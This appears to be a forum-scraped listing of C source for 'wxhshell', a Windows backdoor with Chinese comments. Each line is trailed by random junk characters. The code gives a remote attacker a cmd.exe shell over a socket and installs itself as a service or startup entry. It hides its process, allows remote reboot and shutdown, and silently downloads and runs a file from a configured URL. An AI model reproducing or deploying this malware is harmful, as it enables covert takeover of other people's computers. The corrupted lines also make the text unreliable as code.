    switch(cmd[0]) { ?Qqd "=k4  
  rrs"N3!aT  
  // 帮助 7Bz*r0 9S  
  case '?': { ~VTs:h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y7U&Q:5'  
    break; 1;| LI?  
  } 2GWDEgI1o  
  // 安装 ohc1 ~?3b  
  case 'i': { Bmo$5$  
    if(Install()) VjbG(nB?_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Gh~fm3}  
    else ad n|N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \&}G]  
    break; jN/C'\Q L  
    } Nm]% }  
  // 卸载 (A/0@f1#  
  case 'r': { S<6k0b(,_3  
    if(Uninstall()) S{p}ux[}=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |G=[5e^s[  
    else GlR~%q-jiQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/U{Qc\ 6  
    break; ivrXwZ7jT  
    } %*)2s,8  
  // 显示 wxhshell 所在路径 jB@4b 'y  
  case 'p': { !rTmR@e$/  
    char svExeFile[MAX_PATH]; (:\LWJX0=  
    strcpy(svExeFile,"\n\r"); (paf2F`~#  
      strcat(svExeFile,ExeFile); S7n"3.k  
        send(wsh,svExeFile,strlen(svExeFile),0); X)uDSI~  
    break; 8SnS~._9  
    }  oYX{R  
  // 重启 GVd48*  
  case 'b': { 0jB X5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +nZRi3yu=  
    if(Boot(REBOOT)) BIWD/ |LQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qeaA&(|5  
    else { @?&Wm3x9  
    closesocket(wsh); EychR/s  
    ExitThread(0); rhY_|bi4P  
    } K]N~~*`%`  
    break; uhn%lV]  
    } 6E9N(kFYs  
  // 关机 'M'w,sID  
  case 'd': { K5 vNhA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]1fZupM^6  
    if(Boot(SHUTDOWN)) "D> ]ES%5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ValS8V*N1  
    else {  pbB2wt  
    closesocket(wsh); \~"#ld(x7  
    ExitThread(0); 6w#nkF  
    } DBbc|I/[l  
    break; LXhaD[1Rb  
    } Qp:6= o0:  
  // 获取shell d$1 #<-yP  
  case 's': { 4nX(:K}>  
    CmdShell(wsh); %"7WXOv&z  
    closesocket(wsh); n@B{vyy  
    ExitThread(0); qw:9zYG}qW  
    break; T_L6 t66I  
  } !p% @Deu  
  // 退出 0K3Hf^>m  
  case 'x': { l L2-.!]R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Q!~eTw  
    CloseIt(wsh); B!q?_[k,  
    break; ` py}99G  
    } d7i#w #  
  // 离开 rycJyiw<-  
  case 'q': { &X w`T9<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %F$N#YG  
    closesocket(wsh); J%r7<y\  
    WSACleanup(); d)*(KhYie@  
    exit(1); /"0as_L<  
    break; 2oNV=b[  
        } u 2lX d'  
  } +#v4B?NR  
  } |[wyc!nY).  
w~v<v&  
  // 提示信息 <;KRj85"j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u[`v&e  
} i wz` x  
  }  M]0^ind  
nL;K|W  
  return; XqFu(Lm8=  
} Gm@iV,F%R  
T{ nQjYb?  
// shell模块句柄 wG:$6  
int CmdShell(SOCKET sock) UT-ewXh  
{ F^TAd  
STARTUPINFO si; D%GGu"@GO  
ZeroMemory(&si,sizeof(si)); ~j}J<4&OvC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]S]"`;Wh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q6)p*}-  
PROCESS_INFORMATION ProcessInfo; s*{mT6s+T  
char cmdline[]="cmd"; }B*,mn2N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LY1KQuY  
  return 0; ftW{C1,U7  
} +G\0L_B  
O2@" w23  
// 自身启动模式 (+$ol'i  
int StartFromService(void) \6c8z/O7   
{ I3ho(Kdi  
typedef struct gL,"ef+nM  
{ p[;8  
  DWORD ExitStatus; U$@83?O{iM  
  DWORD PebBaseAddress; [,\i[[<  
  DWORD AffinityMask; oYg/*k7EDX  
  DWORD BasePriority; D3]@i&^B  
  ULONG UniqueProcessId; )T<D6l Lt  
  ULONG InheritedFromUniqueProcessId; ~"5C${~{  
}   PROCESS_BASIC_INFORMATION;  qV?sg  
67ZYtA|t  
PROCNTQSIP NtQueryInformationProcess; v+7*R)/  
9g+UJ\u^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `&G}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; johmJLC  
L+(C5L93}  
  HANDLE             hProcess; xrX?ZJ  
  PROCESS_BASIC_INFORMATION pbi; Dwk$CJb3-  
/\TlO.B=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rN'.&;Y5  
  if(NULL == hInst ) return 0; &V FjH W  
|Pj9ZG#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]#M/$?!]g2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H&u4v2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w1.MhA  
afV P-m4L  
  if (!NtQueryInformationProcess) return 0; &Ky3Jb<:Gt  
ax;{MfsK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T!&jFy*W  
  if(!hProcess) return 0; ->Q`'@'|P  
"?`JA7~g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Q\H  
g!.Ut:8L9  
  CloseHandle(hProcess); sOjF?bCdO  
Skr iX\p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s?~8O|Mu'  
if(hProcess==NULL) return 0; f^ywW[dF  
/H.(d 4C  
HMODULE hMod; \&# p1K(H  
char procName[255]; T:dX4=z  
unsigned long cbNeeded; Y+OYoI  
_u`B3iG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6S2r  
lJ("6aT?  
  CloseHandle(hProcess); olHH9R9:  
c-ttds  
if(strstr(procName,"services")) return 1; // 以服务启动 @OBHAoz%/  
J]$er0`LY  
  return 0; // 注册表启动 k62$:9`5  
} $8EV, 9^U  
91U^o8y  
// 主模块 /kAwe *)  
int StartWxhshell(LPSTR lpCmdLine) `X3Xz!  
{ rO5u~"v]  
  SOCKET wsl; 1mY+0  
BOOL val=TRUE; mQmBf|Rl  
  int port=0;  W{L  
  struct sockaddr_in door; ;`;G/1]#9  
Z={D0`  
  if(wscfg.ws_autoins) Install(); [..,(  
>~.Zr3P6kC  
port=atoi(lpCmdLine); ?,D>+::  
.A )\F",X  
if(port<=0) port=wscfg.ws_port; 0,;E.Py?.  
d*]Dv,#X  
  WSADATA data; d'x<- l9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xYT#!K1*  
h85 (N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FLi(#9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o(?VX`2"  
  door.sin_family = AF_INET; 782[yLyv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `4$4bXrP'  
  door.sin_port = htons(port); HKq2Js  
97['VOh0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J(3gT }z-  
closesocket(wsl); k'6<jEbk  
return 1; Fl8w7LcF7  
} i#CaKS  
jc${.?m  
  if(listen(wsl,2) == INVALID_SOCKET) { ._8xY$l$  
closesocket(wsl); aW52.X z%8  
return 1; j|3g(_v4W  
} o+]Y=r2  
  Wxhshell(wsl); CpUI|Rs  
  WSACleanup(); D{Hh#x8Y  
^zBjG/'7  
return 0; bE VO<x+  
'*o7_Ez-{  
} bd@*vu}?}  
%s~NQ;Y  
// 以NT服务方式启动 N1D6D$s0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ORV}j, Ym  
{ V%X:1 8j  
DWORD   status = 0; c^i"}2+  
  DWORD   specificError = 0xfffffff; 3bT6W, J4T  
[[";1l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OqEg{o5 a&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < fojX\}3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2LhfXBWf  
  serviceStatus.dwWin32ExitCode     = 0; ZXF AuF  
  serviceStatus.dwServiceSpecificExitCode = 0; &:!ZT=  
  serviceStatus.dwCheckPoint       = 0; gaLEhf^  
  serviceStatus.dwWaitHint       = 0; cq'}2pob  
[ HC8-N^.}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Tm Rc  
  if (hServiceStatusHandle==0) return; \;3B?8wbIl  
 ;'2`M  
status = GetLastError(); w>`h3;,2  
  if (status!=NO_ERROR) H<rnJ  
{ FgFJ0fo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aB$y+`f)@  
    serviceStatus.dwCheckPoint       = 0; ]Ssw32yn  
    serviceStatus.dwWaitHint       = 0; VJ~X#Q  
    serviceStatus.dwWin32ExitCode     = status; k"Z"$V2i  
    serviceStatus.dwServiceSpecificExitCode = specificError; QN{}R;s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rX|y/0)F  
    return; 8o8b'tW^  
  } b7W=HR  
`:-@E2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BCj`WF@8l{  
  serviceStatus.dwCheckPoint       = 0; 1Pw(.8P  
  serviceStatus.dwWaitHint       = 0; wW6mYgPN%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fg>B  
} 7yqSt)/U  
~x4{P;y  
// 处理NT服务事件,比如:启动、停止 FqT,4SIR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =Do3#Xe2V  
{ l0:e=q2Ax  
switch(fdwControl) EPE!V>  
{ E3FW*UNg[y  
case SERVICE_CONTROL_STOP: L|C1C cP  
  serviceStatus.dwWin32ExitCode = 0; ';;p8bv+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p]1yd;Jt  
  serviceStatus.dwCheckPoint   = 0; xN{"%>Mx  
  serviceStatus.dwWaitHint     = 0;  c{f:5 p  
  { 2yEO=SN,(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L5V'Sr  
  } h a,=LV  
  return; a=:{{\1o  
case SERVICE_CONTROL_PAUSE: >m2<Nl}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z^a6%N  
  break; > hDsm;,/  
case SERVICE_CONTROL_CONTINUE: (dLE<\E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  &*>C PO  
  break; dIBKE0`  
case SERVICE_CONTROL_INTERROGATE: jE?\Yv3  
  break; *x*,I ,03  
}; (.@p4q Q-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m p|20`go  
} epG X.  
zDvP7hl  
// 标准应用程序主函数 7T|J[W O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'o)ve(  
{ /IrR,bvA  
8XS {6<  
// 获取操作系统版本 AihL>a%  
OsIsNt=GetOsVer(); qmue!Fv#g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H/p-YtY  
O#Zs3k  
  // 从命令行安装 xZ S\#{  
  if(strpbrk(lpCmdLine,"iI")) Install(); iXG>j.w{79  
B:6sVJ  
  // 下载执行文件 fzkCI  
if(wscfg.ws_downexe) { c`$`0}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *1o+o$hY2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4B3irHs\Q  
} v8U1uOR,%  
qUDz(bFk/  
if(!OsIsNt) { TsFdy{/o*  
// 如果时win9x,隐藏进程并且设置为注册表启动 z[KN^2YS  
HideProc(); +GYI2  
StartWxhshell(lpCmdLine); k8x&aH  
} Ddm76LS  
else ~f]r>jQM  
  if(StartFromService()) syC"eH3{  
  // 以服务方式启动 2 l[A=Z  
  StartServiceCtrlDispatcher(DispatchTable); iw~V_y4  
else VM2@{V/=~  
  // 普通方式启动 VhH]n yi7D  
  StartWxhshell(lpCmdLine); aaf_3UH.B  
C#**)  
return 0; ;Xd\$)n  
}
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只看该作者 1 发表于: 2006-10-10
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